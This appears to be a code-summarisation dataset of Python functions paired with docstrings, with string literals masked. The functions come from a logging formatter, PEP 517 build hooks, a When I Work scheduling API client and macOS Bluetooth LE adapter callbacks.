{"signature": "def __init__(self, color=True, datefmt=None):", "body": "logging.Formatter.__init__(self, datefmt=datefmt)<EOL>self._colors = {}<EOL>if color and _stderr_supports_color():<EOL><INDENT>fg_color = (curses.tigetstr(\"<STR_LIT>\") or<EOL>curses.tigetstr(\"<STR_LIT>\") or \"<STR_LIT>\")<EOL>if (<NUM_LIT:3>, <NUM_LIT:0>) < sys.version_info < (<NUM_LIT:3>, <NUM_LIT:2>, <NUM_LIT:3>):<EOL><INDENT>fg_color = str(fg_color, \"<STR_LIT:ascii>\")<EOL><DEDENT>for levelno, code in self.DEFAULT_COLORS.items():<EOL><INDENT>self._colors[levelno] = str(<EOL>curses.tparm(fg_color, code), \"<STR_LIT:ascii>\")<EOL><DEDENT>self._normal = str(curses.tigetstr(\"<STR_LIT>\"), \"<STR_LIT:ascii>\")<EOL>scr = curses.initscr()<EOL>self.termwidth = scr.getmaxyx()[<NUM_LIT:1>]<EOL>curses.endwin()<EOL><DEDENT>else:<EOL><INDENT>self._normal = '<STR_LIT>'<EOL>self.termwidth = <NUM_LIT><EOL><DEDENT>", "docstring": "r\"\"\"\n        :arg bool color: Enables color support.\n        :arg string fmt: Log message format.\n        It will be applied to the attributes dict of log records. The\n        text between ``%(color)s`` and ``%(end_color)s`` will be colored\n        depending on the level if color support is on.\n        :arg dict colors: color mappings from logging level to terminal color\n        code\n        :arg string datefmt: Datetime format.\n        Used for formatting ``(asctime)`` placeholder in ``prefix_fmt``.\n        .. versionchanged:: 3.2\n        Added ``fmt`` and ``datefmt`` arguments.", "id": "f9550:c0:m0"}
{"signature": "def mkdir_p(*args, **kwargs):", "body": "try:<EOL><INDENT>return os.mkdir(*args, **kwargs)<EOL><DEDENT>except OSError as exc:<EOL><INDENT>if exc.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Like `mkdir`, but does not raise an exception if the\n    directory already exists.", "id": "f9552:m2"}
{"signature": "def default_subprocess_runner(cmd, cwd=None, extra_environ=None):", "body": "env = os.environ.copy()<EOL>if extra_environ:<EOL><INDENT>env.update(extra_environ)<EOL><DEDENT>check_call(cmd, cwd=cwd, env=env)<EOL>", "docstring": "The default method of calling the wrapper subprocess.", "id": "f9553:m1"}
{"signature": "def norm_and_check(source_tree, requested):", "body": "if os.path.isabs(requested):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>abs_source = os.path.abspath(source_tree)<EOL>abs_requested = os.path.normpath(os.path.join(abs_source, requested))<EOL>norm_source = os.path.normcase(abs_source)<EOL>norm_requested = os.path.normcase(abs_requested)<EOL>if os.path.commonprefix([norm_source, norm_requested]) != norm_source:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return abs_requested<EOL>", "docstring": "Normalise and check a backend path.\n\n    Ensure that the requested backend path is specified as a relative path,\n    and resolves to a location under the given source tree.\n\n    Return an absolute version of the requested path.", "id": "f9553:m2"}
{"signature": "def get_requires_for_build_wheel(self, config_settings=None):", "body": "return self._call_hook('<STR_LIT>', {<EOL>'<STR_LIT>': config_settings<EOL>})<EOL>", "docstring": "Identify packages required for building a wheel\n\n        Returns a list of dependency specifications, e.g.:\n            [\"wheel >= 0.25\", \"setuptools\"]\n\n        This does not include requirements specified in pyproject.toml.\n        It returns the result of calling the equivalently named hook in a\n        subprocess.", "id": "f9553:c3:m2"}
{"signature": "def prepare_metadata_for_build_wheel(<EOL>self, metadata_directory, config_settings=None):", "body": "return self._call_hook('<STR_LIT>', {<EOL>'<STR_LIT>': abspath(metadata_directory),<EOL>'<STR_LIT>': config_settings,<EOL>})<EOL>", "docstring": "Prepare a *.dist-info folder with metadata for this project.\n\n        Returns the name of the newly created folder.\n\n        If the build backend defines a hook with this name, it will be called\n        in a subprocess. If not, the backend will be asked to build a wheel,\n        and the dist-info extracted from that.", "id": "f9553:c3:m3"}
{"signature": "def build_wheel(<EOL>self, wheel_directory, config_settings=None,<EOL>metadata_directory=None):", "body": "if metadata_directory is not None:<EOL><INDENT>metadata_directory = abspath(metadata_directory)<EOL><DEDENT>return self._call_hook('<STR_LIT>', {<EOL>'<STR_LIT>': abspath(wheel_directory),<EOL>'<STR_LIT>': config_settings,<EOL>'<STR_LIT>': metadata_directory,<EOL>})<EOL>", "docstring": "Build a wheel from this project.\n\n        Returns the name of the newly created file.\n\n        In general, this will call the 'build_wheel' hook in the backend.\n        However, if that was previously called by\n        'prepare_metadata_for_build_wheel', and the same metadata_directory is\n        used, the previously built wheel will be copied to wheel_directory.", "id": "f9553:c3:m4"}
{"signature": "def get_requires_for_build_sdist(self, config_settings=None):", "body": "return self._call_hook('<STR_LIT>', {<EOL>'<STR_LIT>': config_settings<EOL>})<EOL>", "docstring": "Identify packages required for building a wheel\n\n        Returns a list of dependency specifications, e.g.:\n            [\"setuptools >= 26\"]\n\n        This does not include requirements specified in pyproject.toml.\n        It returns the result of calling the equivalently named hook in a\n        subprocess.", "id": "f9553:c3:m5"}
{"signature": "def build_sdist(self, sdist_directory, config_settings=None):", "body": "return self._call_hook('<STR_LIT>', {<EOL>'<STR_LIT>': abspath(sdist_directory),<EOL>'<STR_LIT>': config_settings,<EOL>})<EOL>", "docstring": "Build an sdist from this project.\n\n        Returns the name of the newly created file.\n\n        This calls the 'build_sdist' backend hook in a subprocess.", "id": "f9553:c3:m6"}
{"signature": "def build_wheel(source_dir, wheel_dir, config_settings=None):", "body": "if config_settings is None:<EOL><INDENT>config_settings = {}<EOL><DEDENT>requires, backend = _load_pyproject(source_dir)<EOL>hooks = Pep517HookCaller(source_dir, backend)<EOL>with BuildEnvironment() as env:<EOL><INDENT>env.pip_install(requires)<EOL>reqs = hooks.get_requires_for_build_wheel(config_settings)<EOL>env.pip_install(reqs)<EOL>return hooks.build_wheel(wheel_dir, config_settings)<EOL><DEDENT>", "docstring": "Build a wheel from a source directory using PEP 517 hooks.\n\n    :param str source_dir: Source directory containing pyproject.toml\n    :param str wheel_dir: Target directory to create wheel in\n    :param dict config_settings: Options to pass to build backend\n\n    This is a blocking function which will run pip in a subprocess to install\n    build requirements.", "id": "f9554:m1"}
{"signature": "def build_sdist(source_dir, sdist_dir, config_settings=None):", "body": "if config_settings is None:<EOL><INDENT>config_settings = {}<EOL><DEDENT>requires, backend = _load_pyproject(source_dir)<EOL>hooks = Pep517HookCaller(source_dir, backend)<EOL>with BuildEnvironment() as env:<EOL><INDENT>env.pip_install(requires)<EOL>reqs = hooks.get_requires_for_build_sdist(config_settings)<EOL>env.pip_install(reqs)<EOL>return hooks.build_sdist(sdist_dir, config_settings)<EOL><DEDENT>", "docstring": "Build an sdist from a source directory using PEP 517 hooks.\n\n    :param str source_dir: Source directory containing pyproject.toml\n    :param str sdist_dir: Target directory to place sdist in\n    :param dict config_settings: Options to pass to build backend\n\n    This is a blocking function which will run pip in a subprocess to install\n    build requirements.", "id": "f9554:m2"}
{"signature": "def pip_install(self, reqs):", "body": "if not reqs:<EOL><INDENT>return<EOL><DEDENT>log.info('<STR_LIT>', reqs)<EOL>check_call([<EOL>sys.executable, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', self.path] + list(reqs))<EOL>", "docstring": "Install dependencies into this env by calling pip in a subprocess", "id": "f9554:c0:m2"}
{"signature": "def contained_in(filename, directory):", "body": "filename = os.path.normcase(os.path.abspath(filename))<EOL>directory = os.path.normcase(os.path.abspath(directory))<EOL>return os.path.commonprefix([filename, directory]) == directory<EOL>", "docstring": "Test if a file is located within the given directory.", "id": "f9557:m0"}
{"signature": "def _build_backend():", "body": "<EOL>backend_path = os.environ.get('<STR_LIT>')<EOL>if backend_path:<EOL><INDENT>extra_pathitems = backend_path.split(os.pathsep)<EOL>sys.path[:<NUM_LIT:0>] = extra_pathitems<EOL><DEDENT>ep = os.environ['<STR_LIT>']<EOL>mod_path, _, obj_path = ep.partition('<STR_LIT::>')<EOL>try:<EOL><INDENT>obj = import_module(mod_path)<EOL><DEDENT>except ImportError:<EOL><INDENT>raise BackendUnavailable(traceback.format_exc())<EOL><DEDENT>if backend_path:<EOL><INDENT>if not any(<EOL>contained_in(obj.__file__, path)<EOL>for path in extra_pathitems<EOL>):<EOL><INDENT>raise BackendInvalid(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if obj_path:<EOL><INDENT>for path_part in obj_path.split('<STR_LIT:.>'):<EOL><INDENT>obj = getattr(obj, path_part)<EOL><DEDENT><DEDENT>return obj<EOL>", "docstring": "Find and load the build backend", "id": "f9557:m1"}
{"signature": "def get_requires_for_build_wheel(config_settings):", "body": "backend = _build_backend()<EOL>try:<EOL><INDENT>hook = backend.get_requires_for_build_wheel<EOL><DEDENT>except AttributeError:<EOL><INDENT>return []<EOL><DEDENT>else:<EOL><INDENT>return hook(config_settings)<EOL><DEDENT>", "docstring": "Invoke the optional get_requires_for_build_wheel hook\n\n    Returns [] if the hook is not defined.", "id": "f9557:m2"}
{"signature": "def prepare_metadata_for_build_wheel(metadata_directory, config_settings):", "body": "backend = _build_backend()<EOL>try:<EOL><INDENT>hook = backend.prepare_metadata_for_build_wheel<EOL><DEDENT>except AttributeError:<EOL><INDENT>return _get_wheel_metadata_from_wheel(backend, metadata_directory,<EOL>config_settings)<EOL><DEDENT>else:<EOL><INDENT>return hook(metadata_directory, config_settings)<EOL><DEDENT>", "docstring": "Invoke optional prepare_metadata_for_build_wheel\n\n    Implements a fallback by building a wheel if the hook isn't defined.", "id": "f9557:m3"}
{"signature": "def _dist_info_files(whl_zip):", "body": "res = []<EOL>for path in whl_zip.namelist():<EOL><INDENT>m = re.match(r'<STR_LIT>', path)<EOL>if m:<EOL><INDENT>res.append(path)<EOL><DEDENT><DEDENT>if res:<EOL><INDENT>return res<EOL><DEDENT>raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Identify the .dist-info folder inside a wheel ZipFile.", "id": "f9557:m4"}
{"signature": "def _get_wheel_metadata_from_wheel(<EOL>backend, metadata_directory, config_settings):", "body": "from zipfile import ZipFile<EOL>whl_basename = backend.build_wheel(metadata_directory, config_settings)<EOL>with open(os.path.join(metadata_directory, WHEEL_BUILT_MARKER), '<STR_LIT:wb>'):<EOL><INDENT>pass  <EOL><DEDENT>whl_file = os.path.join(metadata_directory, whl_basename)<EOL>with ZipFile(whl_file) as zipf:<EOL><INDENT>dist_info = _dist_info_files(zipf)<EOL>zipf.extractall(path=metadata_directory, members=dist_info)<EOL><DEDENT>return dist_info[<NUM_LIT:0>].split('<STR_LIT:/>')[<NUM_LIT:0>]<EOL>", "docstring": "Build a wheel and extract the metadata from it.\n\n    Fallback for when the build backend does not\n    define the 'get_wheel_metadata' hook.", "id": "f9557:m5"}
{"signature": "def _find_already_built_wheel(metadata_directory):", "body": "if not metadata_directory:<EOL><INDENT>return None<EOL><DEDENT>metadata_parent = os.path.dirname(metadata_directory)<EOL>if not os.path.isfile(pjoin(metadata_parent, WHEEL_BUILT_MARKER)):<EOL><INDENT>return None<EOL><DEDENT>whl_files = glob(os.path.join(metadata_parent, '<STR_LIT>'))<EOL>if not whl_files:<EOL><INDENT>print('<STR_LIT>')<EOL>return None<EOL><DEDENT>if len(whl_files) > <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None<EOL><DEDENT>return whl_files[<NUM_LIT:0>]<EOL>", "docstring": "Check for a wheel already built during the get_wheel_metadata hook.", "id": "f9557:m6"}
{"signature": "def build_wheel(wheel_directory, config_settings, metadata_directory=None):", "body": "prebuilt_whl = _find_already_built_wheel(metadata_directory)<EOL>if prebuilt_whl:<EOL><INDENT>shutil.copy2(prebuilt_whl, wheel_directory)<EOL>return os.path.basename(prebuilt_whl)<EOL><DEDENT>return _build_backend().build_wheel(wheel_directory, config_settings,<EOL>metadata_directory)<EOL>", "docstring": "Invoke the mandatory build_wheel hook.\n\n    If a wheel was already built in the\n    prepare_metadata_for_build_wheel fallback, this\n    will copy it rather than rebuilding the wheel.", "id": "f9557:m7"}
{"signature": "def get_requires_for_build_sdist(config_settings):", "body": "backend = _build_backend()<EOL>try:<EOL><INDENT>hook = backend.get_requires_for_build_sdist<EOL><DEDENT>except AttributeError:<EOL><INDENT>return []<EOL><DEDENT>else:<EOL><INDENT>return hook(config_settings)<EOL><DEDENT>", "docstring": "Invoke the optional get_requires_for_build_wheel hook\n\n    Returns [] if the hook is not defined.", "id": "f9557:m8"}
{"signature": "def build_sdist(sdist_directory, config_settings):", "body": "backend = _build_backend()<EOL>try:<EOL><INDENT>return backend.build_sdist(sdist_directory, config_settings)<EOL><DEDENT>except getattr(backend, '<STR_LIT>', _DummyException):<EOL><INDENT>raise GotUnsupportedOperation(traceback.format_exc())<EOL><DEDENT>", "docstring": "Invoke the mandatory build_sdist hook.", "id": "f9557:m9"}
{"signature": "def get_position(self, position_id):", "body": "url = \"<STR_LIT>\" % position_id<EOL>return self.position_from_json(self._get_resource(url)[\"<STR_LIT>\"])<EOL>", "docstring": "Returns position data.\n\nhttp://dev.wheniwork.com/#get-existing-position", "id": "f9558:c0:m0"}
{"signature": "def get_positions(self):", "body": "url = \"<STR_LIT>\"<EOL>data = self._get_resource(url)<EOL>positions = []<EOL>for entry in data['<STR_LIT>']:<EOL><INDENT>positions.append(self.position_from_json(entry))<EOL><DEDENT>return positions<EOL>", "docstring": "Returns a list of positions.\n\nhttp://dev.wheniwork.com/#listing-positions", "id": "f9558:c0:m1"}
{"signature": "def create_position(self, params={}):", "body": "url = \"<STR_LIT>\"<EOL>body = params<EOL>data = self._post_resource(url, body)<EOL>return self.position_from_json(data[\"<STR_LIT>\"])<EOL>", "docstring": "Creates a position\n\nhttp://dev.wheniwork.com/#create-update-position", "id": "f9558:c0:m2"}
{"signature": "def get_requests(self, params={}):", "body": "if \"<STR_LIT:status>\" in params:<EOL><INDENT>params['<STR_LIT:status>'] = '<STR_LIT:U+002C>'.join(map(str, params['<STR_LIT:status>']))<EOL><DEDENT>requests = []<EOL>users = {}<EOL>messages = {}<EOL>params['<STR_LIT>'] = <NUM_LIT:0><EOL>while True:<EOL><INDENT>param_list = [(k, params[k]) for k in sorted(params)]<EOL>url = \"<STR_LIT>\" % urlencode(param_list)<EOL>data = self._get_resource(url)<EOL>for entry in data[\"<STR_LIT>\"]:<EOL><INDENT>user = Users.user_from_json(entry)<EOL>users[user.user_id] = user<EOL><DEDENT>for entry in data[\"<STR_LIT>\"]:<EOL><INDENT>request = self.request_from_json(entry)<EOL>requests.append(request)<EOL><DEDENT>for entry in data[\"<STR_LIT>\"]:<EOL><INDENT>message = Messages.message_from_json(entry)<EOL>if message.request_id not in messages:<EOL><INDENT>messages[message.request_id] = []<EOL><DEDENT>messages[message.request_id].append(message)<EOL><DEDENT>if not data['<STR_LIT>']:<EOL><INDENT>break<EOL><DEDENT>params['<STR_LIT>'] += <NUM_LIT:1><EOL><DEDENT>for request in requests:<EOL><INDENT>request.user = users.get(request.user_id, None)<EOL>request.messages = messages.get(request.request_id, [])<EOL><DEDENT>return requests<EOL>", "docstring": "List requests\n\nhttp://dev.wheniwork.com/#listing-requests", "id": "f9560:c0:m0"}
{"signature": "def get_message(self, message_id):", "body": "url = \"<STR_LIT>\" % message_id<EOL>return self.message_from_json(self._get_resource(url)[\"<STR_LIT:message>\"])<EOL>", "docstring": "Get Existing Message\n\nhttp://dev.wheniwork.com/#get-existing-message", "id": "f9570:c0:m0"}
{"signature": "def get_messages(self, params={}):", "body": "param_list = [(k, params[k]) for k in sorted(params)]<EOL>url = \"<STR_LIT>\" % urlencode(param_list)<EOL>data = self._get_resource(url)<EOL>messages = []<EOL>for entry in data[\"<STR_LIT>\"]:<EOL><INDENT>messages.append(self.message_from_json(entry))<EOL><DEDENT>return messages<EOL>", "docstring": "List messages\n\nhttp://dev.wheniwork.com/#listing-messages", "id": "f9570:c0:m1"}
{"signature": "def create_message(self, params={}):", "body": "url = \"<STR_LIT>\"<EOL>body = params<EOL>data = self._post_resource(url, body)<EOL>return self.message_from_json(data[\"<STR_LIT:message>\"])<EOL>", "docstring": "Creates a message\n\nhttp://dev.wheniwork.com/#create/update-message", "id": "f9570:c0:m2"}
{"signature": "def update_message(self, message):", "body": "url = \"<STR_LIT>\" % message.message_id<EOL>data = self._put_resource(url, message.json_data())<EOL>return self.message_from_json(data)<EOL>", "docstring": "Modify an existing message.\n\nhttp://dev.wheniwork.com/#create/update-message", "id": "f9570:c0:m3"}
{"signature": "def delete_messages(self, messages):", "body": "url = \"<STR_LIT>\" % urlencode([('<STR_LIT>', \"<STR_LIT:U+002C>\".join(messages))])<EOL>data = self._delete_resource(url)<EOL>return data<EOL>", "docstring": "Delete existing messages.\n\nhttp://dev.wheniwork.com/#delete-existing-message", "id": "f9570:c0:m4"}
{"signature": "def get_location(self, location_id):", "body": "url = \"<STR_LIT>\" % location_id<EOL>return self.location_from_json(self._get_resource(url)[\"<STR_LIT:location>\"])<EOL>", "docstring": "Returns location data.\n\nhttp://dev.wheniwork.com/#get-existing-location", "id": "f9571:c0:m0"}
{"signature": "def get_locations(self):", "body": "url = \"<STR_LIT>\"<EOL>data = self._get_resource(url)<EOL>locations = []<EOL>for entry in data['<STR_LIT>']:<EOL><INDENT>locations.append(self.location_from_json(entry))<EOL><DEDENT>return locations<EOL>", "docstring": "Returns a list of locations.\n\nhttp://dev.wheniwork.com/#listing-locations", "id": "f9571:c0:m1"}
{"signature": "def get_site(self, site_id):", "body": "url = \"<STR_LIT>\" % site_id<EOL>return self.site_from_json(self._get_resource(url)[\"<STR_LIT>\"])<EOL>", "docstring": "Returns site data.\n\nhttp://dev.wheniwork.com/#get-existing-site", "id": "f9572:c0:m0"}
{"signature": "def get_sites(self):", "body": "url = \"<STR_LIT>\"<EOL>data = self._get_resource(url)<EOL>sites = []<EOL>for entry in data['<STR_LIT>']:<EOL><INDENT>sites.append(self.site_from_json(entry))<EOL><DEDENT>return sites<EOL>", "docstring": "Returns a list of sites.\n\nhttp://dev.wheniwork.com/#listing-sites", "id": "f9572:c0:m1"}
{"signature": "def create_site(self, params={}):", "body": "url = \"<STR_LIT>\"<EOL>body = params<EOL>data = self._post_resource(url, body)<EOL>return self.site_from_json(data[\"<STR_LIT>\"])<EOL>", "docstring": "Creates a site\n\nhttp://dev.wheniwork.com/#create-update-site", "id": "f9572:c0:m2"}
{"signature": "def _get_resource(self, url, data_key=None):", "body": "headers = {\"<STR_LIT>\": \"<STR_LIT:application/json>\"}<EOL>if self.token:<EOL><INDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT:%s>\" % self.token<EOL><DEDENT>response = WhenIWork_DAO().getURL(url, headers)<EOL>if response.status != <NUM_LIT:200>:<EOL><INDENT>raise DataFailureException(url, response.status, response.data)<EOL><DEDENT>return json.loads(response.data)<EOL>", "docstring": "When I Work GET method. Return representation of the requested\nresource.", "id": "f9573:c0:m2"}
{"signature": "def _put_resource(self, url, body):", "body": "headers = {\"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:application/json>\"}<EOL>if self.token:<EOL><INDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT:%s>\" % self.token<EOL><DEDENT>response = WhenIWork_DAO().putURL(url, headers, json.dumps(body))<EOL>if not (response.status == <NUM_LIT:200> or response.status == <NUM_LIT> or<EOL>response.status == <NUM_LIT>):<EOL><INDENT>raise DataFailureException(url, response.status, response.data)<EOL><DEDENT>return json.loads(response.data)<EOL>", "docstring": "When I Work PUT method.", "id": "f9573:c0:m3"}
{"signature": "def _post_resource(self, url, body):", "body": "headers = {\"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:application/json>\"}<EOL>if self.token:<EOL><INDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT:%s>\" % self.token<EOL><DEDENT>response = WhenIWork_DAO().postURL(url, headers, json.dumps(body))<EOL>if not (response.status == <NUM_LIT:200> or response.status == <NUM_LIT>):<EOL><INDENT>raise DataFailureException(url, response.status, response.data)<EOL><DEDENT>return json.loads(response.data)<EOL>", "docstring": "When I Work POST method.", "id": "f9573:c0:m4"}
{"signature": "def _delete_resource(self, url):", "body": "headers = {\"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:application/json>\"}<EOL>if self.token:<EOL><INDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT:%s>\" % self.token<EOL><DEDENT>response = WhenIWork_DAO().deleteURL(url, headers)<EOL>if not (response.status == <NUM_LIT:200> or response.status == <NUM_LIT> or<EOL>response.status == <NUM_LIT>):<EOL><INDENT>raise DataFailureException(url, response.status, response.data)<EOL><DEDENT>return json.loads(response.data)<EOL>", "docstring": "When I Work DELETE method.", "id": "f9573:c0:m5"}
{"signature": "def get_account(self):", "body": "url = \"<STR_LIT>\"<EOL>return self.account_from_json(self._get_resource(url)[\"<STR_LIT>\"])<EOL>", "docstring": "Get Existing Account\n\nhttp://dev.wheniwork.com/#get-existing-account", "id": "f9574:c0:m0"}
{"signature": "def get_user(self, user_id):", "body": "url = \"<STR_LIT>\" % user_id<EOL>return self.user_from_json(self._get_resource(url)[\"<STR_LIT:user>\"])<EOL>", "docstring": "Returns user profile data.\n\nhttp://dev.wheniwork.com/#get-existing-user", "id": "f9576:c0:m0"}
{"signature": "def get_users(self, params={}):", "body": "param_list = [(k, params[k]) for k in sorted(params)]<EOL>url = \"<STR_LIT>\" % urlencode(param_list)<EOL>data = self._get_resource(url)<EOL>users = []<EOL>for entry in data[\"<STR_LIT>\"]:<EOL><INDENT>users.append(self.user_from_json(entry))<EOL><DEDENT>return users<EOL>", "docstring": "Returns a list of users.\n\nhttp://dev.wheniwork.com/#listing-users", "id": "f9576:c0:m1"}
{"signature": "def get_shifts(self, params={}):", "body": "param_list = [(k, params[k]) for k in sorted(params)]<EOL>url = \"<STR_LIT>\" % urlencode(param_list)<EOL>data = self._get_resource(url)<EOL>shifts = []<EOL>locations = {}<EOL>sites = {}<EOL>positions = {}<EOL>users = {}<EOL>for entry in data.get(\"<STR_LIT>\", []):<EOL><INDENT>location = Locations.location_from_json(entry)<EOL>locations[location.location_id] = location<EOL><DEDENT>for entry in data.get(\"<STR_LIT>\", []):<EOL><INDENT>site = Sites.site_from_json(entry)<EOL>sites[site.site_id] = site<EOL><DEDENT>for entry in data.get(\"<STR_LIT>\", []):<EOL><INDENT>position = Positions.position_from_json(entry)<EOL>positions[position.position_id] = position<EOL><DEDENT>for entry in data.get(\"<STR_LIT>\", []):<EOL><INDENT>user = Users.user_from_json(entry)<EOL>users[user.user_id] = user<EOL><DEDENT>for entry in data[\"<STR_LIT>\"]:<EOL><INDENT>shift = self.shift_from_json(entry)<EOL>shifts.append(shift)<EOL><DEDENT>for shift in shifts:<EOL><INDENT>shift.location = locations.get(shift.location_id, None)<EOL>shift.site = sites.get(shift.site_id, None)<EOL>shift.position = positions.get(shift.position_id, None)<EOL>shift.user = users.get(shift.user_id, None)<EOL><DEDENT>return shifts<EOL>", "docstring": "List shifts\n\nhttp://dev.wheniwork.com/#listing-shifts", "id": "f9577:c0:m0"}
{"signature": "def create_shift(self, params={}):", "body": "url = \"<STR_LIT>\"<EOL>body = params<EOL>data = self._post_resource(url, body)<EOL>shift = self.shift_from_json(data[\"<STR_LIT>\"])<EOL>return shift<EOL>", "docstring": "Creates a shift\n\nhttp://dev.wheniwork.com/#create/update-shift", "id": "f9577:c0:m1"}
{"signature": "def delete_shifts(self, shifts):", "body": "url = \"<STR_LIT>\" % urlencode(<EOL>{'<STR_LIT>': \"<STR_LIT:U+002C>\".join(str(s) for s in shifts)})<EOL>data = self._delete_resource(url)<EOL>return data<EOL>", "docstring": "Delete existing shifts.\n\nhttp://dev.wheniwork.com/#delete-shift", "id": "f9577:c0:m2"}
{"signature": "def __init__(self):", "body": "self._is_scanning = False<EOL>self._powered_on = threading.Event()<EOL>self._powered_off = threading.Event()<EOL>", "docstring": "Create an instance of the bluetooth adapter from the provided bluez\n        DBus object.", "id": "f9580:c0:m0"}
{"signature": "def _state_changed(self, state):", "body": "logger.debug('<STR_LIT>'.format(state))<EOL>if state == <NUM_LIT:5>:<EOL><INDENT>self._powered_off.clear()<EOL>self._powered_on.set()<EOL><DEDENT>elif state == <NUM_LIT:4>:<EOL><INDENT>self._powered_on.clear()<EOL>self._powered_off.set()<EOL><DEDENT>", "docstring": "Called when the power state changes.", "id": "f9580:c0:m1"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "<EOL>return \"<STR_LIT>\"<EOL>", "docstring": "Return the name of this BLE network adapter.", "id": "f9580:c0:m2"}
{"signature": "def start_scan(self, timeout_sec=TIMEOUT_SEC):", "body": "get_provider()._central_manager.scanForPeripheralsWithServices_options_(None, None)<EOL>self._is_scanning = True<EOL>", "docstring": "Start scanning for BLE devices.", "id": "f9580:c0:m3"}
{"signature": "def stop_scan(self, timeout_sec=TIMEOUT_SEC):", "body": "get_provider()._central_manager.stopScan()<EOL>self._is_scanning = False<EOL>", "docstring": "Stop scanning for BLE devices.", "id": "f9580:c0:m4"}
{"signature": "@property<EOL><INDENT>def is_scanning(self):<DEDENT>", "body": "return self._is_scanning<EOL>", "docstring": "Return True if the BLE adapter is scanning for devices, otherwise\n        return False.", "id": "f9580:c0:m5"}
{"signature": "def power_on(self, timeout_sec=TIMEOUT_SEC):", "body": "<EOL>self._powered_on.clear()<EOL>IOBluetoothPreferenceSetControllerPowerState(<NUM_LIT:1>)<EOL>if not self._powered_on.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Power on Bluetooth.", "id": "f9580:c0:m6"}
{"signature": "def power_off(self, timeout_sec=TIMEOUT_SEC):", "body": "<EOL>self._powered_off.clear()<EOL>IOBluetoothPreferenceSetControllerPowerState(<NUM_LIT:0>)<EOL>if not self._powered_off.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Power off Bluetooth.", "id": "f9580:c0:m7"}
{"signature": "@property<EOL><INDENT>def is_powered(self):<DEDENT>", "body": "return IOBluetoothPreferenceGetControllerPowerState() == <NUM_LIT:1><EOL>", "docstring": "Return True if the BLE adapter is powered up, otherwise return False.", "id": "f9580:c0:m8"}
{"signature": "def centralManagerDidUpdateState_(self, manager):", "body": "logger.debug('<STR_LIT>')<EOL>get_provider()._adapter._state_changed(manager.state())<EOL>", "docstring": "Called when the BLE adapter is powered on and ready to scan/connect\n        to devices.", "id": "f9581:c0:m0"}
{"signature": "def centralManager_didDiscoverPeripheral_advertisementData_RSSI_(self, manager, peripheral, data, rssi):", "body": "logger.debug('<STR_LIT>')<EOL>device = device_list().get(peripheral)<EOL>if device is None:<EOL><INDENT>device = device_list().add(peripheral, CoreBluetoothDevice(peripheral))<EOL><DEDENT>device._update_advertised(data)<EOL>", "docstring": "Called when the BLE adapter found a device while scanning, or has\n        new advertisement data for a device.", "id": "f9581:c0:m1"}
{"signature": "def centralManager_didConnectPeripheral_(self, manager, peripheral):", "body": "logger.debug('<STR_LIT>')<EOL>peripheral.setDelegate_(self)<EOL>peripheral.discoverServices_(None)<EOL>device = device_list().get(peripheral)<EOL>if device is not None:<EOL><INDENT>device._set_connected()<EOL><DEDENT>", "docstring": "Called when a device is connected.", "id": "f9581:c0:m2"}
{"signature": "def centralManager_didDisconnectPeripheral_error_(self, manager, peripheral, error):", "body": "logger.debug('<STR_LIT>')<EOL>device = device_list().get(peripheral)<EOL>if device is not None:<EOL><INDENT>device._set_disconnected()<EOL>device_list().remove(peripheral)<EOL><DEDENT>", "docstring": "Called when a device is disconnected.", "id": "f9581:c0:m4"}
{"signature": "def peripheral_didDiscoverServices_(self, peripheral, services):", "body": "logger.debug('<STR_LIT>')<EOL>for service in peripheral.services():<EOL><INDENT>if service_list().get(service) is None:<EOL><INDENT>service_list().add(service, CoreBluetoothGattService(service))<EOL><DEDENT>peripheral.discoverCharacteristics_forService_(None, service)<EOL><DEDENT>", "docstring": "Called when services are discovered for a device.", "id": "f9581:c0:m5"}
{"signature": "def peripheral_didDiscoverCharacteristicsForService_error_(self, peripheral, service, error):", "body": "logger.debug('<STR_LIT>')<EOL>if error is not None:<EOL><INDENT>return<EOL><DEDENT>for char in service.characteristics():<EOL><INDENT>if characteristic_list().get(char) is None:<EOL><INDENT>characteristic_list().add(char, CoreBluetoothGattCharacteristic(char))<EOL><DEDENT>peripheral.discoverDescriptorsForCharacteristic_(char)<EOL><DEDENT>device = device_list().get(peripheral)<EOL>if device is not None:<EOL><INDENT>device._characteristics_discovered(service)<EOL><DEDENT>", "docstring": "Called when characteristics are discovered for a service.", "id": "f9581:c0:m6"}
{"signature": "def peripheral_didDiscoverDescriptorsForCharacteristic_error_(self, peripheral, characteristic, error):", "body": "logger.debug('<STR_LIT>')<EOL>if error is not None:<EOL><INDENT>return<EOL><DEDENT>for desc in characteristic.descriptors():<EOL><INDENT>if descriptor_list().get(desc) is None:<EOL><INDENT>descriptor_list().add(desc, CoreBluetoothGattDescriptor(desc))<EOL><DEDENT><DEDENT>", "docstring": "Called when characteristics are discovered for a service.", "id": "f9581:c0:m7"}
{"signature": "def peripheral_didUpdateValueForCharacteristic_error_(self, peripheral, characteristic, error):", "body": "logger.debug('<STR_LIT>')<EOL>if error is not None:<EOL><INDENT>return<EOL><DEDENT>device = device_list().get(peripheral)<EOL>if device is not None:<EOL><INDENT>device._characteristic_changed(characteristic)<EOL><DEDENT>", "docstring": "Called when characteristic value was read or updated.", "id": "f9581:c0:m10"}
